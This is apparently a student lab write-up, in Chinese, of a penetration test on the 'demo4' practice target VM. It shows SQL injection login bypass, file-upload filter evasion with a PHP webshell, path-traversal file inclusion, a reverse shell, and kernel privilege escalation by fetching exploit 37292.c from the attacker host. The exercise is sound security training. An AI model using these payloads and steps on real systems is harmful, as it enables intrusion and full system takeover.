demo_4打靶

4.3k words

第 4 次实验:对demo4进行靶机渗透测试并获得 root 权限


一、实验目的

取得目标靶机 demo4root 权限。
将使用主机发现、端口扫描、文件上传漏洞、文件包含漏洞、一句话木马、反弹 shell 等攻击手段。


二、实验内容

1) 主机发现

首先执行命令:

1
2
sudo -i
arp-scan -l

由此可以得到目标主机地址是 10.0.2.6


2) 端口发现与扫描

10.0.2.6 进行端口扫描(进一步验证是否为靶机;如不需节省时间也可 nmap -p- 10.0.2.6):

1
nmap 10.0.2.6

进行服务探测以确认端口服务与版本:

1
nmap -p22,8080 -sV 10.0.2.6


3) Web 渗透

访问 10.0.2.6

提示需要输入用户名与密码。使用目录枚举(如未安装可先 apt install dirsearch):

1
dirsearch -u http://10.0.2.6

403 为无权访问,200 为探测成功。尝试访问 test.php

根据提示需为 file 提供参数。先用 GET 请求尝试读取 /etc/passwd

1
http://10.0.2.6/test.php?file=/etc/passwd

未成功。开启代理并在 Burp Suite 中 Intercept on,重放请求,右击 Send to Repeater,从 GET 改为 POST(Change request method):

file 移至 body,发送后成功获得 passwd 内容:

这时我们就找到了一个漏洞,但是并不确定具体形式,有可能是文件包含漏洞 (既能够看到文件内容也能够执行文件),也有可能是任意文件下载漏洞 (只能看到文件内容,但不能够执行),接下来进行具体判断:在 burb suite 中把查看的文件改为刚刚目录枚举看到的 add.php,若能够执行,即为文件包含漏洞,后续能够利用这一漏洞执行漏洞代码,若不能执行,说明仅为任意文件下载漏洞。

发现仅展现了 php 文件的内容,并没有执行,说明是任意文件下载漏洞,可以看到任意脚本的内容。我们想到 web 服务默认有一个索引文件,这里是 index.php 文件,所以我们再查看 index.php 文件:

实际 SQL 语句为:

1
select * from auth where pass='$pass' and uname='$uname'

pass\uname'or 1=1 # 可绕过登录。进入后选择 show usersadd users,点击 continue


发现 add users 里面可以上传图片,这是一个比较经典的文件上传漏洞(比如可以上传反弹 shell 的文件,访问这个文件就能实现反弹 shell)


4) 利用漏洞得到反弹 shell

方法一:利用一句话木马进行渗透

我们知道了靶机使用的是 php 语言,所以我们可以利用 PHP 一句话木马来进行渗透。(其他语言也有一句话木马)(前提是:靶机的上传界面对文件没有过滤)

PHP 一句话木马:

1
<?php system($_GET["cmd"]);?>

a) 文件上传漏洞

上传文件的目录可以通过右击已有 User 的头像图片,点击 Copy Image Link, 然后打开一个新的页面,粘贴过去,即可得到文件上传路径:

即:

1
http://10.0.2.6/uploaded_images/jack.jpg

在/home/kali 目录下创建一个 a.php 文件, 里面内容为 PHP 的一句话木马。若文件 a.php 上传成功,就访问以下这个 url:

1
http://10.0.2.6/uploaded_images/a.php?cmd=whoami

一旦执行成功,就可把 whoami 换成一个反弹 shell。

然后验证一下靶机对文件有没有过滤(仅允许 png/jpg/gif)。将 a.php 上传:

很不幸没有成功,只有 png,jpg 和 gif 文件允许上传:

然后使用以下命令把文件进行修改为 a.png,然后再进行上传:

1
cp a.php a.png

发现没有成功:

说明能够检查出来上传的文件不是图片,搜索可知事实上是根据文件头中的魔术来判断的。

首先要想办法把文件上传上去。

打开 Burp 再次把 a.php 进行上传,拦截结果 send to repeater:

filename 改为 a.phpContent-Type 改为 image/php,并在文件开头加入图片gif的魔术:

1
GIF89a;

然后点击 send,response 拉到最后,发现成功上传:

(此方法比较通用)

然后回到浏览器关掉 burp,点击 show users,continue, 发现成功添加第三个用户。

b) 文件包含漏洞

接下来的问题就是想办法通过某种方式调用这个图片中的代码,需要找到另外的漏洞。打开 burp 插件,在 show users 处点击 continue,拦截请求:

send to repeater 后 send, 然后把 load=show 改为 load=good,渲染之后发现中间的用户信息都不见了,我们猜测 show 指代的是一个 php 脚本,我们尝试把 good 改为/etc/passwd 发现没有显示任何内容。后台在 load=/etc/passwd 这个位置可能做了虚拟化,即它所认为的根目录不是我们理解的系统的根目录,也有可能是 web 目录,所以我们把路径改为一系列的../:

1
load=../../../../../../../etc/passwd

再点击 send,发现成功显示出了 passwd 的内容:

说明确实有漏洞。

c) 反弹 shell

目前已知的漏洞为:1. 可以显示文本文件内容 2. 可以执行 php 脚本

然后把 load 改为:

1
load=uploaded_images/a.png?cmd=whoami

发现没有成功, 然后我们把 cmd=whoami 放到第一行 POST /panel.php 的后面, 再次尝试,发现成功运行:

即发现了任意命令执行漏洞,我们就可以把 whoami 换成反弹 shell. 但是不能直接放进去,把一句话命令粘贴到 burp suite 的 decoder 界面,右侧Encode as 选择URL,就能得到要放进去的反弹 sell 命令:

这里我采用的是 PHP 的反弹 shell,在 kali 中监听 1234 端口,成功进入到靶机:

方法二:利用 kali 自带的包含反弹 shell 的 php 文件

一句话木马有一个缺陷,就是需要一个参数才能够执行,比较麻烦。在 kali 里面,有一个包含反弹 shell 的 php 文件,就不需要那么麻烦了,只需要把 a.png 换成改文件即可。这个文件的路径为:

1
/usr/share/webshells/php/php-reverse-shell.php

把该文件 copy 到当前目录, 然后改成 bb.png 复制到/home/kali 下面:

1
2
cp /usr/share/webshells/php/php-reverse-shell.php .
cp php-reverse-shell.php /home/kali/bb.png

关闭 burpsuite, 回到 add user 界面,上传 bb.png,再次打开 burpsuite,点击 upload,请求被拦截后 send to repeater.

文件内容需要进行修改,一个是开头需要加上魔术:GIF89a;, 另一个是把反弹 shell的 ip 地址改为 kali 的 ip 地址:

response 最后显示 upload sucessfully, 说明上传成功。

回到 burpsuite 刚才的界面,把 a.png 改为 bb.png,删除上面的 cmd, 然后在 kali中改为 bash 命令行后监听 1234 端口,再点击 send,即可建立反弹 shell。可以运行以下代码将命令提示符进行修改:

1
python -c "import pty;pty.spawn('/bin/bash')"

成功反弹 shell 之后执行以下命令把 shell 提升一下:

1
python -c "import pty; pty.spawn('/bin/bash')"

5) 提权

在靶机命令行中输入 uname -a 来查看靶机的内核版本:

kernel 3.13.0, 于是在 kali 中使用以下命令来搜索该版本的漏洞:

1
searchsploit kernel 3.13.0

发现满足要求的一条对应的漏洞代码为 37292.c

使用以下命令把 37292.c 漏洞文件复制到当前目录:

1
searchsploit -m 37292

查看该文件,可知编译方式为:

1
gcc ofs.c -o ofs

首先在 kali 中用 python 启动 web server:

然后执行以下命令把漏洞利用代码 37292.c 文件下载到靶机的 tmp 目录下:

1
2
cd /tmp
wget http://10.0.2.4/37292.c

编译运行该漏洞文件,然后执行该文件:

成功提权!


三、实验结果

通过攻击机 Kali Linux 对靶机 demo 4 进行渗透测试,并成功获得 root 权限:


四、附加题

问题: 若拿到了靶机的普通用户权限,并找到了靶机的一个漏洞利用代码(.c 文件),但是目标靶机没有 gcc 编译环境,具体该怎么实现提权?

1) 本地编译 exploitt(漏洞利用代码)

因为靶机没有 gcc 不能够编译.c 文件,所以我们自然想到在攻击机 kali 上把漏洞利用文件编译好之后再传到靶机上。

执行:

1
gcc exploit.c -o exploit -static

2) 传输到靶机

在攻击机启动 HTTP 服务:

1
python -m http.server 80

然后在靶机上下载下来:

1
2
cd /tmp
wget http://10.0.2.4/exploit

3) 在靶机上执行

赋予文件执行权限之后执行 exploit

1
2
chmod +x exploit
./exploit

即可成功提权!


五、实验中遇到的问题及解决方案

  • 问题: 在使用 PHP 一句话木马用到一句话反弹 shell 时首先尝试使用 bash 的反弹shell,并没有成功建立.
  • 解决: 换用其他的反弹 shell, 后来使用 PHP 的反弹 shell 成功反弹 shell。

六、实验的启示 / 意见和建议

总结:这次学习到了文件 (图片) 上传漏洞文件包含漏洞的利用方法,了解并练习了一句话木马的使用方法。另外知道了 kali 自带php-reverse-shell.php 文件具有反弹 shell 的功能,以后可以利用该性质进行反弹 shell 的建立。此次提权方法中规中矩,首先找到内核漏洞,再在靶机上执行对应的漏洞利用文件即可成功提权,但是这是在靶机具有 gcc 编译环境的前提下的方法,在附加题中也解释了我对当靶机没有 gcc 时如何利用漏洞文件的思考。巩固了靶机渗透能力,收获颇丰!


Comments